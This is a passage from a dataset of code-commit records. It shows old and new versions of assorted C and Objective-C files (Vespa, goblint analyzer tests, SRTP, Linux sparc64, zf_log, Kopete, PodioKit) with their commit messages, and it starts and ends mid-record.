root,kirbyherm\/root-r-tools,CristinaCristescu\/root,gbitzes\/root,arch1tect0r\/root,beniz\/root,ffurano\/root5,pspe\/root,beniz\/root,gbitzes\/root,smarinac\/root,kirbyherm\/root-r-tools,lgiommi\/root,Dr15Jones\/root,Duraznos\/root,gganis\/root,agarciamontoro\/root,esakellari\/my_root_for_test,Duraznos\/root,simonpf\/root,zzxuanyuan\/root,tc3t\/qoot,sawenzel\/root,davidlt\/root,smarinac\/root,davidlt\/root,nilqed\/root,buuck\/root,lgiommi\/root,sawenzel\/root,abhinavmoudgil95\/root,pspe\/root,gganis\/root,karies\/root,olifre\/root,veprbl\/root,Duraznos\/root,tc3t\/qoot,zzxuanyuan\/root-compressor-dummy,sawenzel\/root,tc3t\/qoot,CristinaCristescu\/root,esakellari\/root,dfunke\/root,arch1tect0r\/root,esakellari\/my_root_for_test,tc3t\/qoot,buuck\/root,abhinavmoudgil95\/root,bbockelm\/root,karies\/root,sirinath\/root,omazapa\/root-old,sirinath\/root,zzxuanyuan\/root,sbinet\/cxx-root,gganis\/root,root-mirror\/root,strykejern\/TTreeReader,krafczyk\/root,arch1tect0r\/root,perovic\/root,simonpf\/root,satyarth934\/root,thomaskeck\/root,kirbyherm\/root-r-tools,pspe\/root,lgiommi\/root,cxx-hep\/root-cern,karies\/root,dfunke\/root,alexschlueter\/cern-root,gganis\/root,olifre\/root,beniz\/root,lgiommi\/root,zzxuanyuan\/root,sbinet\/cxx-root,cxx-hep\/root-cern,cxx-hep\/root-cern,esakellari\/root,buuck\/root,mattkretz\/root,thomaskeck\/root,agarciamontoro\/root,lgiommi\/root,mhuwiler\/rootauto,strykejern\/TTreeReader,buuck\/root,veprbl\/root,mhuwiler\/rootauto,mkret2\/root,strykejern\/TTreeReader,zzxuanyuan\/root,georgtroska\/root,0x0all\/ROOT,georgtroska\/root,Duraznos\/root,vukasinmilosevic\/root,Dr15Jones\/root,0x0all\/ROOT,satyarth934\/root,esakellari\/root,pspe\/root,vukasinmilosevic\/root,buuck\/root,smarinac\/root,CristinaCristescu\/root,jrtomps\/root,sbinet\/cxx-root,0x0all\/ROOT,satyarth934\/root,perovic\/root,davidlt\/root,satyarth934\/root,lgiommi\/root,abhinavmoudgil95\/root,bbockelm\/root,mattkretz\/root,tc3t\/qoot,zzxuanyuan\/root-compressor-dummy,cxx-hep\/root-cern,esakellari\/root,alexschlueter\/cern-root,karies\/root,arch1tect0r\/root,evgeny-boger\/root,beniz\/root,dfunke\/root,alexschlueter\/cern-root,Y--\/root,pspe\/root,ffurano\/root5,agarciamontoro\/root,omazapa\/root,omazapa\/root,jrtomps\/root,Y--\/root,agarciamontoro\/root,dfunke\/root,thomaskeck\/root,mkret2\/root,pspe\/root,olifre\/root,BerserkerTroll\/root,nilqed\/root,smarinac\/root,zzxuanyuan\/root-compressor-dummy,cxx-hep\/root-cern,CristinaCristescu\/root,Y--\/root,agarciamontoro\/root,strykejern\/TTreeReader,jrtomps\/root,sbinet\/cxx-root,perovic\/root,root-mirror\/root,lgiommi\/root,jrtomps\/root,strykejern\/TTreeReader,zzxuanyuan\/root-compressor-dummy,Y--\/root,gbitzes\/root,0x0all\/ROOT,zzxuanyuan\/root,sawenzel\/root,mhuwiler\/rootauto,CristinaCristescu\/root,smarinac\/root,0x0all\/ROOT,mhuwiler\/rootauto,ffurano\/root5,smarinac\/root,omazapa\/root,sirinath\/root,CristinaCristescu\/root,sbinet\/cxx-root,root-mirror\/root,abhinavmoudgil95\/root,evgeny-boger\/root,krafczyk\/root,evgeny-boger\/root,root-mirror\/root,mhuwiler\/rootauto,smarinac\/root,sawenzel\/root,Dr15Jones\/root,sirinath\/root,tc3t\/qoot,gganis\/root,georgtroska\/root,georgtroska\/root,satyarth934\/root,olifre\/root,zzxuanyuan\/root,gganis\/root,mattkretz\/root,sirinath\/root,sbinet\/cxx-root,perovic\/root,sirinath\/root,veprbl\/root,thomaskeck\/root,root-mirror\/root,BerserkerTroll\/root,gbitzes\/root,vukasinmilosevic\/root,sbinet\/cxx-root,sbinet\/cxx-root,nilqed\/root,evgeny-boger\/root,omazapa\/root,esakellari\/root,satyarth934\/root,Y--\/root,krafczyk\/root,ffurano\/root5,Duraznos\/root,beniz\/root,karies\/root,Duraznos\/root,root-mirror\/root,omazapa\/root-old,BerserkerTroll\/root,esakellari\/root,dfunke\/root,omazapa\/root,CristinaCristescu\/root,perovic\/root,karies\/root,nilqed\/root,esakellari\/root,buuck\/root,sirinath\/root,nilqed\/root,kirbyherm\/root-r-tools,kirbyherm\/root-r-tools,sawenzel\/root,georgtroska\/root,agarciamontoro\/root,arch1tect0r\/root,krafczyk\/root,esakellari\/my_root_for_test,esakellari\/root,davidlt\/root,BerserkerTroll\/root,georgtroska\/root,Y--\/root,gbitzes\/root,pspe\/root,alexschlueter\/cern-root,davidlt\/root,thomaskeck\/root,jrtomps\/root,olifre\/root,thomaskeck\/root,bbockelm\/root,krafczyk\/root,veprbl\/root,BerserkerTroll\/root,pspe\/root,georgtroska\/root,karies\/root,simonpf\/root,omazapa\/root,0x0all\/ROOT,buuck\/root,agarciamontoro\/root,simonpf\/root,BerserkerTroll\/root"}
{"commit":"62f0dc07ed56e285e349a244ab402e20092b8eb0","old_file":"frtstream\/src\/vespa\/frtstream\/frtserverstream.h","new_file":"frtstream\/src\/vespa\/frtstream\/frtserverstream.h","old_contents":"\/\/ Copyright 2016 Yahoo Inc. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n#pragma once\n\n#include <vespa\/frtstream\/frtstream.h>\n\nnamespace frtstream {\n\nclass FrtServerStream : public FrtStream {\n    FRT_RPCRequest* request;\n    uint32_t _nextOutValue;\n\n    FRT_Values& in() {\n        return *request->GetReturn();\n    }\n\n    FRT_Value& nextOut() {\n        return request->GetParams()->GetValue(_nextOutValue++);\n    }\npublic:\n    FrtServerStream(FRT_RPCRequest* req) :\n        request(req),\n        _nextOutValue(0) {}\n\n    using FrtStream::operator<<;\n    using FrtStream::operator>>;\n\n};\n\n\n} \/\/end namespace frtstream\n\n","new_contents":"\/\/ Copyright 2016 Yahoo Inc. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n#pragma once\n\n#include <vespa\/frtstream\/frtstream.h>\n\nnamespace frtstream {\n\nclass FrtServerStream : public FrtStream {\n    FRT_RPCRequest* request;\n    uint32_t _nextOutValue;\n\n    FRT_Values& in() override {\n        return *request->GetReturn();\n    }\n\n    FRT_Value& nextOut() override {\n        return request->GetParams()->GetValue(_nextOutValue++);\n    }\npublic:\n    FrtServerStream(FRT_RPCRequest* req) :\n        request(req),\n        _nextOutValue(0) {}\n\n    using FrtStream::operator<<;\n    using FrtStream::operator>>;\n};\n\n} \/\/end namespace frtstream\n","subject":"Fix warnings hidden earlier due to including application headers as system includes","message":"Fix warnings hidden earlier due to including application headers as system includes\n","lang":"C","license":"apache-2.0","repos":"vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa"}
{"commit":"f72fde5522035f7455d14f33fe417a500f66df4f","old_file":"tests\/regression\/27-inv_invariants\/16-sedgewick.c","new_file":"tests\/regression\/27-inv_invariants\/16-sedgewick.c","old_contents":"","new_contents":"#include <stddef.h>\n#include <assert.h>\n\nstruct node {\n  struct node *left;\n  struct node *right;\n  int key;\n};\n\n\/\/ https:\/\/old.reddit.com\/r\/programminghorror\/comments\/jgrpcu\/on_sedgewicks_original_presentation_for_llrb_trees\/\nstruct node* min(struct node *root) {\n  struct node *x = root;\n  while (x != NULL)\n    x = x->left;\n  if (x == NULL) \/\/ WARN (dead branch)\n    return NULL;\n  else\n    return x;\n}\n\nint main() {\n  struct node *root;\n  struct node *m = min(root);\n  assert(m == NULL);\n  return 0;\n}\n","subject":"Add Sedgewick min NULL fail as regression test","message":"Add Sedgewick min NULL fail as regression test\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"9d4102d0b9373d0c9d9931e77c07fb85285fbe2a","old_file":"tests\/regression\/29-svcomp\/22-atomic_priv_sound.c","new_file":"tests\/regression\/29-svcomp\/22-atomic_priv_sound.c","old_contents":"","new_contents":"\/\/ PARAM: --enable ana.sv-comp.functions\n#include <pthread.h>\n#include <assert.h>\n\nextern void __VERIFIER_atomic_begin();\nextern void __VERIFIER_atomic_end();\n\nint myglobal = 5;\n\nvoid *t_fun(void *arg) {\n  __VERIFIER_atomic_begin();\n  assert(myglobal == 5); \/\/ TODO\n  myglobal++;\n  assert(myglobal == 6); \/\/ TODO\n  __VERIFIER_atomic_end();\n  return NULL;\n}\n\nint main(void) {\n  pthread_t id;\n  pthread_create(&id, NULL, t_fun, NULL);\n  assert(myglobal == 5); \/\/ UNKNOWN!\n  __VERIFIER_atomic_begin();\n  assert(myglobal == 5); \/\/ UNKNOWN!\n  __VERIFIER_atomic_end();\n  pthread_join (id, NULL);\n  return 0;\n}\n","subject":"Add regression test for SV-COMP atomics soundness","message":"Add regression test for SV-COMP atomics soundness\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"ab4d30fe039870d8912855a3550bf4b52fb262f2","old_file":"srtp.h","new_file":"srtp.h","old_contents":"#ifndef SRTP_H\n#define SRTP_H\n\n#include <string.h>\n#include <stdlib.h>\n#include <stdio.h>\n\n#include \"srtp2\/srtp.h\"\n\ntypedef struct rtp_packet {\n\tvoid *data;\n\tint len;\n} rtp_packet;\n\nsrtp_t *srtp_create_session(void *client_write_key, void *server_write_key, char *profile);\nrtp_packet *srtp_decrypt_packet(srtp_t * sess, void *data, int len);\n\n#endif\n","new_contents":"#ifndef SRTP_H\n#define SRTP_H\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"srtp2\/srtp.h\"\n\ntypedef struct rtp_packet {\n  void *data;\n  int len;\n} rtp_packet;\n\nsrtp_t *srtp_create_session(void *client_write_key, void *server_write_key, char *profile);\nrtp_packet *srtp_decrypt_packet(srtp_t *sess, void *data, int len);\n\n#endif\n","subject":"Add <stdlib.h> to GStreamer code","message":"Add <stdlib.h> to GStreamer code\n\nRun clang-format on DTLS+SRTP\n","lang":"C","license":"mit","repos":"pion\/srtp"}
{"commit":"a1aadd55fb43e31407aecc4ebaf0258130a98238","old_file":"include\/asm-sparc64\/kdebug.h","new_file":"include\/asm-sparc64\/kdebug.h","old_contents":"#ifndef _SPARC64_KDEBUG_H\n#define _SPARC64_KDEBUG_H\n\n\/* Nearly identical to x86_64\/i386 code. *\/\n\n#include <linux\/notifier.h>\n\nstruct pt_regs;\n\n\/*\n * These are only here because kprobes.c wants them to implement a\n * blatant layering violation.  Will hopefully go away soon once all\n * architectures are updated.\n *\/\nstatic inline int register_page_fault_notifier(struct notifier_block *nb)\n{\n\treturn 0;\n}\nstatic inline int unregister_page_fault_notifier(struct notifier_block *nb)\n{\n\treturn 0;\n}\n\nextern void bad_trap(struct pt_regs *, long);\n\n\/* Grossly misnamed. *\/\nenum die_val {\n\tDIE_OOPS = 1,\n\tDIE_DEBUG,\t\/* ta 0x70 *\/\n\tDIE_DEBUG_2,\t\/* ta 0x71 *\/\n\tDIE_DIE,\n\tDIE_TRAP,\n\tDIE_TRAP_TL1,\n\tDIE_CALL,\n\tDIE_PAGE_FAULT,\n};\n\n#endif\n","new_contents":"#ifndef _SPARC64_KDEBUG_H\n#define _SPARC64_KDEBUG_H\n\n\/* Nearly identical to x86_64\/i386 code. *\/\n\n#include <linux\/notifier.h>\n\nstruct pt_regs;\n\n\/*\n * These are only here because kprobes.c wants them to implement a\n * blatant layering violation.  Will hopefully go away soon once all\n * architectures are updated.\n *\/\nstatic inline int register_page_fault_notifier(struct notifier_block *nb)\n{\n\treturn 0;\n}\nstatic inline int unregister_page_fault_notifier(struct notifier_block *nb)\n{\n\treturn 0;\n}\n\nextern void bad_trap(struct pt_regs *, long);\n\n\/* Grossly misnamed. *\/\nenum die_val {\n\tDIE_OOPS = 1,\n\tDIE_DEBUG,\t\/* ta 0x70 *\/\n\tDIE_DEBUG_2,\t\/* ta 0x71 *\/\n\tDIE_DIE,\n\tDIE_TRAP,\n\tDIE_TRAP_TL1,\n\tDIE_CALL,\n};\n\n#endif\n","subject":"Kill unused DIE_PAGE_FAULT enum value.","message":"[SPARC64]: Kill unused DIE_PAGE_FAULT enum value.\n\nsparc64 got rid of the pagefault notifiers, so the enum value for them\ncan go away aswell.\n\nSigned-off-by: Christoph Hellwig <923f7720577207a44b32e59bbfbea59d27f1ae8e@lst.de>\nSigned-off-by: David S. Miller <fe08d3c717adf2ae63592e4c9aec6e3e404d8e3e@davemloft.net>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"de4ecf75c925661e8543a95d9a98c76d1382b5b1","old_file":"examples\/hello.c","new_file":"examples\/hello.c","old_contents":"#define ZF_LOG_LEVEL ZF_LOG_INFO\n#define ZF_LOG_TAG \"MAIN\"\n#include <zf_log.h>\n\nint main(int argc, char *argv[])\n{\n\tzf_log_set_tag_prefix(\"hello\");\n\n\tZF_LOGI(\"You will see the number of arguments: %i\", argc);\n\tZF_LOGD(\"You will NOT see the first argument: %s\", *argv);\n\n\tzf_log_set_output_level(ZF_LOG_WARN);\n\tZF_LOGW(\"You will see this WARNING message\");\n\tZF_LOGI(\"You will NOT see this INFO message\");\n\n\treturn 0;\n}\n","new_contents":"#define ZF_LOG_LEVEL ZF_LOG_INFO\n#define ZF_LOG_TAG \"MAIN\"\n#include <zf_log.h>\n\nint main(int argc, char *argv[])\n{\n\tzf_log_set_tag_prefix(\"hello\");\n\n\tZF_LOGI(\"You will see the number of arguments: %i\", argc);\n\tZF_LOGD(\"You will NOT see the first argument: %s\", *argv);\n\n\tzf_log_set_output_level(ZF_LOG_WARN);\n\tZF_LOGW(\"You will see this WARNING message\");\n\tZF_LOGI(\"You will NOT see this INFO message\");\n\n\tconst char data[] =\n\t\t\t\"Lorem ipsum dolor sit amet, consectetur adipiscing elit. \"\n\t\t\t\"Aliquam pharetra orci id velit porttitor tempus.\";\n\tZF_LOGW_MEM(data, sizeof(data), \"Lorem ipsum at %p:\", data);\n\n\treturn 0;\n}\n","subject":"Add example for memory logging support","message":"Add example for memory logging support\n","lang":"C","license":"mit","repos":"wonder-mice\/zf_log,wonder-mice\/zf_log,wonder-mice\/zf_log"}
{"commit":"a9865d3e8694bfe5f94e69fd87d6d90798578936","old_file":"chapter-1\/1-2-backslash-c.c","new_file":"chapter-1\/1-2-backslash-c.c","old_contents":"\/**\n * Exercise 1-2\n *\n * Experiment to find out what happens when prints's argument string contains \\c,\n * where c is some character not listed above.\n *\n * The C Programming Language - the second edition\n * by Brian Kernighan and Dennis Ritchie\n *\n * Author: Li Zhineng <lizhineng@gmail.com>\n * URL:    https:\/\/zhineng.li\n * File:   1-2-backslash-c.c\n * Date:   2017-01-01\n *\/\n\n#include <stdio.h>\n\nmain()\n{\n    printf(\"hello, world\\n\\c\");\n}\n","new_contents":"\/**\n * Exercise 1-2\n *\n * Experiment to find out what happens when printfs's argument string contains \\c,\n * where c is some character not listed above.\n *\n * The C Programming Language - the second edition\n * by Brian Kernighan and Dennis Ritchie\n *\n * Author: Li Zhineng <lizhineng@gmail.com>\n * URL:    https:\/\/zhineng.li\n * File:   1-2-backslash-c.c\n * Date:   2017-01-01\n *\/\n\n#include <stdio.h>\n\nmain()\n{\n    printf(\"hello, world\\n\\c\");\n}\n","subject":"Fix misspelling in execrise 2 in chapter 1","message":"Fix misspelling in execrise 2 in chapter 1\n","lang":"C","license":"mit","repos":"lizhineng\/learning-the-c-programming-language"}
{"commit":"8bdf7b1d4d4534a373550ec20b6f4c8308094212","old_file":"check_tests\/eas_test_user.h","new_file":"check_tests\/eas_test_user.h","old_contents":"#ifndef __EAS_TEST_USER_H__\n#define __EAS_TEST_USER_H__\n\n#define TEST_ACCOUNT_ID (\"good.user@cstylianou.com\")\n\/\/ Password: \"G00dP@55w0rd\"\n\n#endif\n\n","new_contents":"#ifndef __EAS_TEST_USER_H__\n#define __EAS_TEST_USER_H__\n\n#define TEST_ACCOUNT_ID (\"good.user@cstylianou.com\")\n\/\/ Password: \"G00dP@55w0rd\"\n\n\/\/ #define TEST_ACCOUNT_ID (\"bad.user@cstylianou.com\")\n\n#endif\n\n","subject":"Add in a bad user option. Exists in GConf but not on the server.","message":"Add in a bad user option. Exists in GConf but not on the server.\n","lang":"C","license":"lgpl-2.1","repos":"simo5\/evolution-activesync,simo5\/evolution-activesync,simo5\/evolution-activesync"}
{"commit":"5d992b5774dde67ea14502dd01d7bf8f97352995","old_file":"C\/FatorialRecursiva.c","new_file":"C\/FatorialRecursiva.c","old_contents":"","new_contents":"#include<stdio.h>\n\n\n\nint fatorial(int n){\n\n\tif(n==1) return 1;\n\t\n\treturn (n * fatorial(n-1));\n\n}\n\n\n\nint main(){\n\t\n\tprintf(\"%d\\n\", fatorial(5));\n\n\treturn 0;\n}\n","subject":"Add Fatorial Recursica em C","message":"Add Fatorial Recursica em C","lang":"C","license":"mit","repos":"kelvins\/Algoritmos-e-Estruturas-de-Dados,kelvins\/Algoritmos-e-Estruturas-de-Dados,kelvins\/Algoritmos-e-Estruturas-de-Dados,kelvins\/Algoritmos-e-Estruturas-de-Dados,kelvins\/Algoritmos-e-Estruturas-de-Dados,kelvins\/Algoritmos-e-Estruturas-de-Dados,kelvins\/Algoritmos-e-Estruturas-de-Dados,kelvins\/Algoritmos-e-Estruturas-de-Dados,kelvins\/Algoritmos-e-Estruturas-de-Dados,kelvins\/Algoritmos-e-Estruturas-de-Dados"}
{"commit":"d60451381ed2d582505d55c6a5dedb4d22e3c23a","old_file":"AFImage\/Pod\/AFImageCache.h","new_file":"AFImage\/Pod\/AFImageCache.h","old_contents":"#import \"AFImageCacheOperation.h\"\n\n\n#pragma mark Type Definitions\n\n\/\/ Block that transforms one image into another.\ntypedef AFImageCacheOperation *(^AFImageCacheOperationCreateBlock)(NSURL *url, AFImageTransform *transform,\n\tNSCache *cache, BOOL refresh, AFImageCompletionBlock completionBlock);\n\n\n#pragma mark Class Interface\n\n@interface AFImageCache : NSObject\n\n\n#pragma mark - Properties\n\n\/\/ Allows overriding the creation of image cache operations.\n@property (nonatomic, copy) AFImageCacheOperationCreateBlock imageCacheOperationCreateBlock;\n\n\n#pragma mark - Static Methods\n\n+ (id)sharedInstance;\n\n\n#pragma mark - Instance Methods\n\n- (AFImageCacheOperation *)imageWithURL: (NSURL *)url\n\tcompletionBlock: (AFImageCompletionBlock)completionBlock;\n\n- (AFImageCacheOperation *)imageWithURL: (NSURL *)url\n\trefresh: (BOOL)refresh\n\tcompletionBlock: (AFImageCompletionBlock)completionBlock;\n\n- (AFImageCacheOperation *)imageWithURL: (NSURL *)url\n\ttransform: (AFImageTransform *)transform\n\tcompletionBlock: (AFImageCompletionBlock)completionBlock;\n\n- (AFImageCacheOperation *)imageWithURL: (NSURL *)url\n\ttransform: (AFImageTransform *)transform\n\trefresh: (BOOL)refresh\n\tcompletionBlock: (AFImageCompletionBlock)completionBlock;\n\n\n@end \/\/ @interface AFImageCache","new_contents":"#import \"AFImageCacheOperation.h\"\n\n\n#pragma mark Type Definitions\n\n\/\/ Block that transforms one image into another.\ntypedef AFImageCacheOperation *(^AFImageCacheOperationCreateBlock)(NSURL *url, AFImageTransform *transform,\n\tNSCache *cache, BOOL refresh, AFImageCompletionBlock completionBlock);\n\n\n#pragma mark Class Interface\n\n@interface AFImageCache : NSObject\n\n\n#pragma mark - Properties\n\n\/\/ Allows overriding the creation of image cache operations.\n@property (nonatomic, copy) AFImageCacheOperationCreateBlock imageCacheOperationCreateBlock;\n\n\n#pragma mark - Static Methods\n\n+ (instancetype)sharedInstance;\n\n\n#pragma mark - Instance Methods\n\n- (AFImageCacheOperation *)imageWithURL: (NSURL *)url\n\tcompletionBlock: (AFImageCompletionBlock)completionBlock;\n\n- (AFImageCacheOperation *)imageWithURL: (NSURL *)url\n\trefresh: (BOOL)refresh\n\tcompletionBlock: (AFImageCompletionBlock)completionBlock;\n\n- (AFImageCacheOperation *)imageWithURL: (NSURL *)url\n\ttransform: (AFImageTransform *)transform\n\tcompletionBlock: (AFImageCompletionBlock)completionBlock;\n\n- (AFImageCacheOperation *)imageWithURL: (NSURL *)url\n\ttransform: (AFImageTransform *)transform\n\trefresh: (BOOL)refresh\n\tcompletionBlock: (AFImageCompletionBlock)completionBlock;\n\n\n@end \/\/ @interface AFImageCache","subject":"Convert from id to instancetype","message":"Convert from id to instancetype\n","lang":"C","license":"mit","repos":"mlatham\/AFImage"}
{"commit":"87fabd563cf81f09e61b006d07af03490b1092be","old_file":"src\/tests\/eina_test_main.c","new_file":"src\/tests\/eina_test_main.c","old_contents":"\/* EINA - EFL data type library\n * Copyright (C) 2008 Cedric Bail\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library;\n * if not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include \"Eina.h\"\n#include \"eina_suite.h\"\n\nSTART_TEST(eina_simple)\n{\n   fail_if(!eina_init());\n   fail_if(eina_shutdown() != 0);\n}\nEND_TEST\n\nvoid eina_test_main(TCase *tc)\n{\n   tcase_add_test(tc, eina_simple);\n}\n","new_contents":"\/* EINA - EFL data type library\n * Copyright (C) 2008 Cedric Bail\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library;\n * if not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include \"Eina.h\"\n#include \"eina_suite.h\"\n\n#include <stdio.h>\nSTART_TEST(eina_simple)\n{\n   \/* Eina_error as already been initialized by eina_hash\n      that was called by eina_mempool_init that's why we don't have 0 here *\/\n   fail_if(eina_init() != 2);\n   fail_if(eina_shutdown() != 1);\n}\nEND_TEST\n\nvoid eina_test_main(TCase *tc)\n{\n   tcase_add_test(tc, eina_simple);\n}\n","subject":"Fix test due to mempool internal change.","message":"Fix test due to mempool internal change.\n\n\ngit-svn-id: 02e3ca972ab3b5e6aa10db2b13bd0ff52712197b@36223 7cbeb6ba-43b4-40fd-8cce-4c39aea84d33\n","lang":"C","license":"lgpl-2.1","repos":"jordemort\/eina,jordemort\/eina,OpenInkpot-archive\/iplinux-eina,OpenInkpot-archive\/iplinux-eina,OpenInkpot-archive\/iplinux-eina,jordemort\/eina"}
{"commit":"fa009912d9b1df5b73e5807a263e4541756b9dfb","old_file":"1337-617.c","new_file":"1337-617.c","old_contents":"#include <util.h>\n\n\/*\n * _1n17 is leet for init.\n * This function initializes a 1337-617 repo.\n * Meaning it creates a directory with the passed name\n * In this directory it creates another one called `.1337-617`\n * There it makes the first commit for the repo creation\n *\/\nint _1n17 (char *restrict repo_name)\n{\n  return 1;\n}","new_contents":"#include <util.h>\n\n\/*\n * _h45h stands for hash\n * it simply creates a random hash of the passed length\n *\/\nint _h45h (\n  const int length,\n  char *restrict hash\n)\n{\n  return 1;\n} \n\n\/*\n * c3c0_h45h stands for check hash\n * Checks wether or not the passed hash has been used as a commit ID before\n *\/\nint c3c0_h45h (const char *restrict hash)\n{\n  return 1;\n}\n\n\/*\n * _1n17 is leet for init.\n * This function initializes a 1337-617 repo.\n * Meaning it creates a directory with the passed name\n * In this directory it creates another one called `.1337-617`\n * There it makes the first commit for the repo creation\n *\/\nint _1n17 (char *restrict repo_name)\n{\n  return 1;\n}","subject":"Add definitons for some hash functions","message":"Add definitons for some hash functions\n","lang":"C","license":"mit","repos":"Kriegslustig\/1337-617"}
{"commit":"d2508569281f2254caa9e12450010a50ab97e0a0","old_file":"libkopete\/kopeteversion.h","new_file":"libkopete\/kopeteversion.h","old_contents":"\/*\n    Kopete    (c) 2002-2005 by the Kopete developers  <kopete-devel@kde.org>\n\n    *************************************************************************\n    *                                                                       *\n    * This program is free software; you can redistribute it and\/or modify  *\n    * it under the terms of the GNU General Public License as published by  *\n    * the Free Software Foundation; either version 2 of the License, or     *\n    * (at your option) any later version.                                   *\n    *                                                                       *\n    *************************************************************************\n*\/\n\n#ifndef _KOPETE_VERSION_H_\n#define _KOPETE_VERSION_H_\n\n#define KOPETE_VERSION_STRING \"0.40.0\"\n#define KOPETE_VERSION_MAJOR 0\n#define KOPETE_VERSION_MINOR 40\n#define KOPETE_VERSION_RELEASE 0\n#define KOPETE_MAKE_VERSION( a,b,c ) (((a) << 16) | ((b) << 8) | (c))\n\n#define KOPETE_VERSION \\\n  KOPETE_MAKE_VERSION(KOPETE_VERSION_MAJOR,KOPETE_VERSION_MINOR,KOPETE_VERSION_RELEASE)\n\n#define KOPETE_IS_VERSION(a,b,c) ( KOPETE_VERSION >= KOPETE_MAKE_VERSION(a,b,c) )\n\n\n#endif \/\/ _KOPETE_VERSION_H_\n","new_contents":"\/*\n    Kopete    (c) 2002-2005 by the Kopete developers  <kopete-devel@kde.org>\n\n    *************************************************************************\n    *                                                                       *\n    * This program is free software; you can redistribute it and\/or modify  *\n    * it under the terms of the GNU General Public License as published by  *\n    * the Free Software Foundation; either version 2 of the License, or     *\n    * (at your option) any later version.                                   *\n    *                                                                       *\n    *************************************************************************\n*\/\n\n#ifndef _KOPETE_VERSION_H_\n#define _KOPETE_VERSION_H_\n\n#define KOPETE_VERSION_STRING \"0.40.3\"\n#define KOPETE_VERSION_MAJOR 0\n#define KOPETE_VERSION_MINOR 40\n#define KOPETE_VERSION_RELEASE 3\n#define KOPETE_MAKE_VERSION( a,b,c ) (((a) << 16) | ((b) << 8) | (c))\n\n#define KOPETE_VERSION \\\n  KOPETE_MAKE_VERSION(KOPETE_VERSION_MAJOR,KOPETE_VERSION_MINOR,KOPETE_VERSION_RELEASE)\n\n#define KOPETE_IS_VERSION(a,b,c) ( KOPETE_VERSION >= KOPETE_MAKE_VERSION(a,b,c) )\n\n\n#endif \/\/ _KOPETE_VERSION_H_\n","subject":"Update version string for next RC","message":"Update version string for next RC\n\nsvn path=\/trunk\/KDE\/kdenetwork\/kopete\/; revision=745111\n","lang":"C","license":"lgpl-2.1","repos":"Jtalk\/kopete-fork-xep0136,Jtalk\/kopete-fork-xep0136,josh-wambua\/kopete,Jtalk\/kopete-fork-xep0136,josh-wambua\/kopete,josh-wambua\/kopete,Jtalk\/kopete-fork-xep0136,Jtalk\/kopete-fork-xep0136,josh-wambua\/kopete,josh-wambua\/kopete,josh-wambua\/kopete,Jtalk\/kopete-fork-xep0136,josh-wambua\/kopete"}
{"commit":"8d9e49ed14c4fe40bbee51d6ae28867b72ff5f07","old_file":"PodioKitCore\/Common\/PodioKitCore.h","new_file":"PodioKitCore\/Common\/PodioKitCore.h","old_contents":"\/\/\n\/\/  PodioKitCore.h\n\/\/  PodioKitCore\n\/\/\n\/\/  Created by Sebastian Rehnby on 12\/02\/15.\n\/\/  Copyright (c) 2015 Citrix Systems, Inc. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n#import \"PKCMacros.h\"\n#import \"PKCConstants.h\"\n\n#import \"PKCClient.h\"\n#import \"PKCRequest.h\"\n#import \"PKCResponse.h\"\n#import \"PKCKeychain.h\"\n#import \"PKCKeychainTokenStore.h\"\n#import \"PKCDatastore.h\"\n\n#import \"PKCOAuth2Token.h\"\n#import \"PKCFile.h\"\n#import \"PKCPushCredential.h\"\n\n#ifdef __IPHONE_OS_VERSION_MIN_REQUIRED\n#import \"PKCFile+UIImage.h\"\n#import \"UIButton+PKCRemoteImage.h\"\n#import \"UIImageView+PKCRemoteImage.h\"\n#endif","new_contents":"\/\/\n\/\/  PodioKitCore.h\n\/\/  PodioKitCore\n\/\/\n\/\/  Created by Sebastian Rehnby on 12\/02\/15.\n\/\/  Copyright (c) 2015 Citrix Systems, Inc. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n#import \"PKCMacros.h\"\n#import \"PKCConstants.h\"\n\n#import \"PKCClient.h\"\n#import \"PKCRequest.h\"\n#import \"PKCResponse.h\"\n#import \"PKCKeychain.h\"\n#import \"PKCKeychainTokenStore.h\"\n#import \"PKCDatastore.h\"\n#import \"PKCBaseAPI.h\"\n\n#import \"PKCOAuth2Token.h\"\n#import \"PKCFile.h\"\n#import \"PKCPushCredential.h\"\n\n#ifdef __IPHONE_OS_VERSION_MIN_REQUIRED\n#import \"PKCFile+UIImage.h\"\n#import \"UIButton+PKCRemoteImage.h\"\n#import 